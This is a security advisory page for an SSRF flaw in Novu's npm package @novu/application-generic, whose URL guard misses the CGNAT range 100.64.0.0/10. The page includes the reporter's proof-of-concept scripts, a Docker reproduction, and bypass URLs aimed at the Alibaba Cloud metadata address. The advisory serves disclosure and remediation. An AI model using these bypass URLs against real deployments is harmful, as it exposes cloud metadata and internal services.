GHSA-vg6v-j97m-h5xq: @novu/application-generic `validateUrlSsrf` Permits CGNAT (100.64.0.0/10) Destinations Vulnerability

MODERATE
CVSS 6.8
CWE-918
Published
Advisory Summary

GHSA-vg6v-j97m-h5xq is a MODERATE (CVSS 6.8) `validateurlssrf` permits cgnat (100.64.0.0/10) destinations vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting @novu/application-generic libraries in the npm ecosystem. The issue involves `validateurlssrf` permits cgnat (100.64.0.0/10) destinations — affects workflow http request step + webhook filter condition. Remediation is available by upgrading affected packages to version 3.17.0.

GHSA-vg6v-j97m-h5xq at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-vg6v-j97m-h5xq
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product @novu/application-generic
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-vg6v-j97m-h5xq

To remediate this vulnerability, upgrade all affected @novu/application-generic dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@novu/application-generic fixed: 3.17.0
npm install @novu/application-generic@3.17.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @novu/application-generic

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-vg6v-j97m-h5xq, inspect your project dependencies using npm:

npm ls @novu/application-generic

Analyze the terminal output to locate any version of @novu/application-generic in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.17.0), your application is affected.

Note: The npm ls @novu/application-generic command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @novu/application-generic, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Hi Novu team, Reporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`. ## Summary Novu's shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`. ## Affected code Guard: - `libs/application-generic/src/utils/ssrf-url-validation.ts` - `isPrivateIp(...)` regex list at lines 9-28 - DNS resolution and address validation at lines 55-72 Product call-sites: - Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` — calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request. - Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` — calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277. HTTP client: - `libs/application-generic/src/services/http-client/http-client.service.ts` — uses `got(gotOptions)` at lines 120 and 142 after the preflight validation. ## Root cause The SSRF guard uses a hand-written regex deny-list: ```ts /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ``` This list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**. ## Reproduction — Part 1: unit-level probe (no Docker required) Save the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories. ### `novu_ssrf_guard_probe.js` ```javascript const dns = require('dns/promises'); function isPrivateIp(ip) { const privateRanges = [ /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ]; return privateRanges.some((range) => range.test(ip)); } async function validateUrlSsrf(url) { let parsed; try { parsed = new URL(url); } catch { return 'Invalid URL format.'; } if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') { return `URL scheme "${parsed.protocol}" is not allowed.`; } const hostname = parsed.hostname.toLowerCase(); const blockedHostnames = ['localhost', 'metadata.google.internal']; if (blockedHostnames.includes(hostname)) { return `Requests to "${hostname}" are not allowed.`; } let addresses; try { addresses = await dns.lookup(hostname, { all: true }); } catch { return `Unable to resolve hostname "${hostname}".`; } for (const { address } of addresses) { if (isPrivateIp(address)) { return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`; } } return null; } async function main() { for (const url of [ 'http://127.0.0.1/', 'http://0.0.0.0/', 'http://0.0.0.1/', 'http://169.254.169.254/', 'http://100.64.0.1/', 'http://100.100.100.200/', 'http://224.0.0.1/', 'http://[fd00::1]/', 'http://[64:ff9b::7f00:1]/', 'http://[::ffff:100.64.0.1]/', 'http://8.8.8.8/', ]) { console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' })); } } main().catch((e) => { console.error(e); process.exitCode = 1; }); ``` ### Expected output (relevant lines) ```json {"url":"http://127.0.0.1/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1)."} {"url":"http://169.254.169.254/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254)."} {"url":"http://100.64.0.1/","verdict":"ALLOW"} {"url":"http://100.100.100.200/","verdict":"ALLOW"} {"url":"http://8.8.8.8/","verdict":"ALLOW"} ``` The 2nd and 3rd `ALLOW` rows are the bypass — both are non-public destinations the guard should refuse. ## Reproduction — Part 2: end-to-end Docker CGNAT proof Save the three files below into a directory, then: ```bash docker compose up --abort-on-container-exit --exit-code-from novu-client ``` This mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname → validate with `validateUrlSsrf` → send HTTP request. The "target" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range. ### `docker-compose.yml` ```yaml services: cgnat-target: image: python:3.12-alpine command: python -u /srv/target.py volumes: - ./target.py:/srv/target.py:ro networks: novu-cgnat: ipv4_address: 100.64.0.20 novu-client: image: node:22-alpine command: node /srv/client.js volumes: - ./client.js:/srv/client.js:ro depends_on: - cgnat-target networks: novu-cgnat: ipv4_address: 100.64.0.10 networks: novu-cgnat: ipam: config: - subnet: 100.64.0.0/24 ``` ### `target.py` ```python from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_POST(self): print(f"[target] {self.client_address[0]} POST {self.path}", flush=True) self.send_response(200) self.send_header("content-type", "application/json") self.end_headers() self.wfile.write(b'{"marker":"NOVU_CGNAT_SSRF_OK"}\n') def log_message(self, fmt, *args): return HTTPServer(("100.64.0.20", 8080), Handler).serve_forever() ``` ### `client.js` ```javascript const dns = require('dns/promises'); function isPrivateIp(ip) { const privateRanges = [ /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ]; return privateRanges.some((range) => range.test(ip)); } async function validateUrlSsrf(url) { const parsed = new URL(url); if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme'; if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) { return 'blocked hostname'; } const addresses = await dns.lookup(parsed.hostname, { all: true }); for (const { address } of addresses) { if (isPrivateIp(address)) return `blocked ${address}`; } return null; } async function waitForTarget(url) { for (let attempt = 0; attempt < 20; attempt += 1) { try { const r = await fetch(url, { method: 'POST' }); await r.text(); return; } catch (_e) { await new Promise((resolve) => setTimeout(resolve, 250)); } } } async function main() { const url = 'http://cgnat-target:8080/workflow-http-step'; const addresses = await dns.lookup('cgnat-target', { all: true }); const validation = await validateUrlSsrf(url); console.log(JSON.stringify({ url, addresses, validation: validation ?? 'ALLOW' })); if (validation) { process.exitCode = 2; return; } await waitForTarget(url); const response = await fetch(url, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ source: 'novu-http-request-step' }), }); const body = await response.text(); console.log(JSON.stringify({ status: response.status, body })); } main().catch((e) => { console.error(e); process.exitCode = 1; }); ``` ### Expected output ``` novu-client-1 | {"url":"http://cgnat-target:8080/workflow-http-step","addresses":[{"address":"100.64.0.20","family":4}],"validation":"ALLOW"} cgnat-target-1 | [target] 100.64.0.10 POST /workflow-http-step novu-client-1 | {"status":200,"body":"{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\n"} ``` The chain is: 1. Resolve hostname `cgnat-target` → `100.64.0.20` (a CGNAT address). 2. Run Novu's `validateUrlSsrf` against the URL — returns `ALLOW` because `100.64.0.0/10` is missing from `isPrivateIp`. 3. Send the actual server-side HTTP POST → reaches the CGNAT-bound target → response with marker `NOVU_CGNAT_SSRF_OK` is received. ## Impact Any Novu feature that allows a user to configure an outbound HTTP URL and relies on `validateUrlSsrf` may still reach `100.64.0.0/10`. Impact is highest for: - **Alibaba Cloud deployments**, where `http://100.100.100.200/latest/meta-data/` may expose instance metadata. - **Self-hosted deployments** where `100.64.0.0/10` routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services. - **Multi-tenant deployments** where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure — cross-tenant SSRF primitive into provider-internal services. ## Suggested remediation - Replace regex matching with IP parsing and CIDR classification, e.g. using `ipaddr.js` with `process(...)` to normalize IPv4-mapped IPv6. - Treat only globally reachable public IPs as allowed by default (`addr.range() === 'unicast'` after IPv4-mapped unwrap, or equivalent). - Explicitly deny all special-use ranges, including at least: - `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16` - multicast (`224.0.0.0/4`), documentation (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, `2001:db8::/32`), benchmarking (`198.18.0.0/15`), reserved (`240.0.0.0/4`) - IPv6 ULA (`fc00::/7`), link-local (`fe80::/10`), loopback (`::1`), and the IPv4-mapped variants of all of the above - Add regression tests for: - `100.64.0.1`, `100.100.100.200` - hostnames resolving to those addresses - IPv4-mapped variants of denied IPv4 ranges (e.g., `::ffff:100.64.0.1`) - Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation). ## Notes This report is intentionally scoped to the concrete `100.64.0.0/10` bypass. Additional missed ranges exist in the current regex guard (multicast `224.0.0.0/4`, broadcast `255.255.255.255`, benchmarking, documentation, `0.0.0.0/8` outside `/32`, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (`100.100.100.200` on Alibaba Cloud).

GHSA-vg6v-j97m-h5xq Affected @novu/application-generic Versions

1 component(s)
Fixed Versions:
3.17.0
Product / Package Ecosystem Affected Versions Fixed Version
@novu/application-generic
npm
< 3.17.0
3.17.0

References

Frequently Asked Questions

What is GHSA-vg6v-j97m-h5xq?
GHSA-vg6v-j97m-h5xq is a security vulnerability in @novu/application-generic involving `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations — affects Workflow HTTP request step + Webhook filter condition under CWE-918: Server-Side Request Forgery (SSRF).
Which @novu/application-generic versions are affected?
Affected versions include releases prior to 3.17.0 across affected packages: @novu/application-generic.
What version fixes GHSA-vg6v-j97m-h5xq?
Upgrading to 3.17.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @novu/application-generic affected?
Yes, @novu/application-generic is affected in releases prior to 3.17.0. Upgrade your dependency to 3.17.0 or later.
What is the CVSS score of GHSA-vg6v-j97m-h5xq?
GHSA-vg6v-j97m-h5xq has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N.
What CWE is associated with GHSA-vg6v-j97m-h5xq?
GHSA-vg6v-j97m-h5xq is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for GHSA-vg6v-j97m-h5xq?
Run the dependency tree command: 'npm ls @novu/application-generic'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vg6v-j97m-h5xq",
  "modified" : "2026-07-28T14:59:22Z",
  "published" : "2026-07-28T14:59:22Z",
  "aliases" : [ ],
  "summary" : "@novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations — affects Workflow HTTP request step + Webhook filter condition",
  "details" : "Hi Novu team,\n\nReporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`.\n\n## Summary\n\nNovu's shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`.\n\n## Affected code\n\nGuard:\n\n- `libs/application-generic/src/utils/ssrf-url-validation.ts`\n  - `isPrivateIp(...)` regex list at lines 9-28\n  - DNS resolution and address validation at lines 55-72\n\nProduct call-sites:\n\n- Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` — calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request.\n- Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` — calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277.\n\nHTTP client:\n\n- `libs/application-generic/src/services/http-client/http-client.service.ts` — uses `got(gotOptions)` at lines 120 and 142 after the preflight validation.\n\n## Root cause\n\nThe SSRF guard uses a hand-written regex deny-list:\n\n```ts\n/^0\\.0\\.0\\.0$/i,\n/^127\\./,\n/^10\\./,\n/^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n/^192\\.168\\./,\n/^169\\.254\\./,\n/^::ffff:127\\./i,\n/^::ffff:10\\./i,\n/^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n/^::ffff:192\\.168\\./i,\n/^::ffff:169\\.254\\./i,\n/^::1$/,\n/^fc00:/i,\n/^fe80:/i,\n```\n\nThis list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**.\n\n## Reproduction — Part 1: unit-level probe (no Docker required)\n\nSave the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories.\n\n### `novu_ssrf_guard_probe.js`\n\n```javascript\nconst dns = require('dns/promises');\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i,\n    /^127\\./,\n    /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n    /^192\\.168\\./,\n    /^169\\.254\\./,\n    /^::ffff:127\\./i,\n    /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i,\n    /^::ffff:169\\.254\\./i,\n    /^::1$/,\n    /^fc00:/i,\n    /^fe80:/i,\n  ];\n  return privateRanges.some((range) => range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  let parsed;\n  try {\n    parsed = new URL(url);\n  } catch {\n    return 'Invalid URL format.';\n  }\n  if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {\n    return `URL scheme \"${parsed.protocol}\" is not allowed.`;\n  }\n  const hostname = parsed.hostname.toLowerCase();\n  const blockedHostnames = ['localhost', 'metadata.google.internal'];\n  if (blockedHostnames.includes(hostname)) {\n    return `Requests to \"${hostname}\" are not allowed.`;\n  }\n  let addresses;\n  try {\n    addresses = await dns.lookup(hostname, { all: true });\n  } catch {\n    return `Unable to resolve hostname \"${hostname}\".`;\n  }\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) {\n      return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;\n    }\n  }\n  return null;\n}\n\nasync function main() {\n  for (const url of [\n    'http://127.0.0.1/',\n    'http://0.0.0.0/',\n    'http://0.0.0.1/',\n    'http://169.254.169.254/',\n    'http://100.64.0.1/',\n    'http://100.100.100.200/',\n    'http://224.0.0.1/',\n    'http://[fd00::1]/',\n    'http://[64:ff9b::7f00:1]/',\n    'http://[::ffff:100.64.0.1]/',\n    'http://8.8.8.8/',\n  ]) {\n    console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' }));\n  }\n}\n\nmain().catch((e) => { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output (relevant lines)\n\n```json\n{\"url\":\"http://127.0.0.1/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1).\"}\n{\"url\":\"http://169.254.169.254/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254).\"}\n{\"url\":\"http://100.64.0.1/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://100.100.100.200/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://8.8.8.8/\",\"verdict\":\"ALLOW\"}\n```\n\nThe 2nd and 3rd `ALLOW` rows are the bypass — both are non-public destinations the guard should refuse.\n\n## Reproduction — Part 2: end-to-end Docker CGNAT proof\n\nSave the three files below into a directory, then:\n\n```bash\ndocker compose up --abort-on-container-exit --exit-code-from novu-client\n```\n\nThis mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname → validate with `validateUrlSsrf` → send HTTP request. The \"target\" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.\n\n### `docker-compose.yml`\n\n```yaml\nservices:\n  cgnat-target:\n    image: python:3.12-alpine\n    command: python -u /srv/target.py\n    volumes:\n      - ./target.py:/srv/target.py:ro\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.20\n\n  novu-client:\n    image: node:22-alpine\n    command: node /srv/client.js\n    volumes:\n      - ./client.js:/srv/client.js:ro\n    depends_on:\n      - cgnat-target\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.10\n\nnetworks:\n  novu-cgnat:\n    ipam:\n      config:\n        - subnet: 100.64.0.0/24\n```\n\n### `target.py`\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        print(f\"[target] {self.client_address[0]} POST {self.path}\", flush=True)\n        self.send_response(200)\n        self.send_header(\"content-type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(b'{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\\n')\n    def log_message(self, fmt, *args): return\n\nHTTPServer((\"100.64.0.20\", 8080), Handler).serve_forever()\n```\n\n### `client.js`\n\n```javascript\nconst dns = require('dns/promises');\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i, /^127\\./, /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./, /^192\\.168\\./, /^169\\.254\\./,\n    /^::ffff:127\\./i, /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i, /^::ffff:169\\.254\\./i,\n    /^::1$/, /^fc00:/i, /^fe80:/i,\n  ];\n  return privateRanges.some((range) => range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  const parsed = new URL(url);\n  if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme';\n  if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) {\n    return 'blocked hostname';\n  }\n  const addresses = await dns.lookup(parsed.hostname, { all: true });\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) return `blocked ${address}`;\n  }\n  return null;\n}\n\nasync function waitForTarget(url) {\n  for (let attempt = 0; attempt < 20; attempt += 1) {\n    try {\n      const r = await fetch(url, { method: 'POST' });\n      await r.text();\n      return;\n    } catch (_e) {\n      await new Promise((resolve) => setTimeout(resolve, 250));\n    }\n  }\n}\n\nasync function main() {\n  const url = 'http://cgnat-target:8080/workflow-http-step';\n  const addresses = await dns.lookup('cgnat-target', { all: true });\n  const validation = await validateUrlSsrf(url);\n  console.log(JSON.stringify({ url, addresses, validation: validation ?? 'ALLOW' }));\n\n  if (validation) { process.exitCode = 2; return; }\n\n  await waitForTarget(url);\n  const response = await fetch(url, {\n    method: 'POST',\n    headers: { 'content-type': 'application/json' },\n    body: JSON.stringify({ source: 'novu-http-request-step' }),\n  });\n  const body = await response.text();\n  console.log(JSON.stringify({ status: response.status, body }));\n}\n\nmain().catch((e) => { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output\n\n```\nnovu-client-1   | {\"url\":\"http://cgnat-target:8080/workflow-http-step\",\"addresses\":[{\"address\":\"100.64.0.20\",\"family\":4}],\"validation\":\"ALLOW\"}\ncgnat-target-1  | [target] 100.64.0.10 POST /workflow-http-step\nnovu-client-1   | {\"status\":200,\"body\":\"{\\\"marker\\\":\\\"NOVU_CGNAT_SSRF_OK\\\"}\\n\"}\n```\n\nThe chain is:\n\n1. Resolve hostname `cgnat-target` → `100.64.0.20` (a CGNAT address).\n2. Run Novu's `validateUrlSsrf` against the URL — returns `ALLOW` because `100.64.0.0/10` is missing from `isPrivateIp`.\n3. Send the actual server-side HTTP POST → reaches the CGNAT-bound target → response with marker `NOVU_CGNAT_SSRF_OK` is received.\n\n## Impact\n\nAny Novu feature that allows a user to configure an outbound HTTP URL and relies on `validateUrlSsrf` may still reach `100.64.0.0/10`. Impact is highest for:\n\n- **Alibaba Cloud deployments**, where `http://100.100.100.200/latest/meta-data/` may expose instance metadata.\n- **Self-hosted deployments** where `100.64.0.0/10` routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services.\n- **Multi-tenant deployments** where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure — cross-tenant SSRF primitive into provider-internal services.\n\n## Suggested remediation\n\n- Replace regex matching with IP parsing and CIDR classification, e.g. using `ipaddr.js` with `process(...)` to normalize IPv4-mapped IPv6.\n- Treat only globally reachable public IPs as allowed by default (`addr.range() === 'unicast'` after IPv4-mapped unwrap, or equivalent).\n- Explicitly deny all special-use ranges, including at least:\n  - `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16`\n  - multicast (`224.0.0.0/4`), documentation (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, `2001:db8::/32`), benchmarking (`198.18.0.0/15`), reserved (`240.0.0.0/4`)\n  - IPv6 ULA (`fc00::/7`), link-local (`fe80::/10`), loopback (`::1`), and the IPv4-mapped variants of all of the above\n- Add regression tests for:\n  - `100.64.0.1`, `100.100.100.200`\n  - hostnames resolving to those addresses\n  - IPv4-mapped variants of denied IPv4 ranges (e.g., `::ffff:100.64.0.1`)\n- Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation).\n\n## Notes\n\nThis report is intentionally scoped to the concrete `100.64.0.0/10` bypass. Additional missed ranges exist in the current regex guard (multicast `224.0.0.0/4`, broadcast `255.255.255.255`, benchmarking, documentation, `0.0.0.0/8` outside `/32`, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (`100.100.100.200` on Alibaba Cloud).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@novu/application-generic"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.17.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/novuhq/novu/security/advisories/GHSA-vg6v-j97m-h5xq"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/novuhq/novu"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-28T14:59:22Z",
    "nvd_published_at" : null
  }
}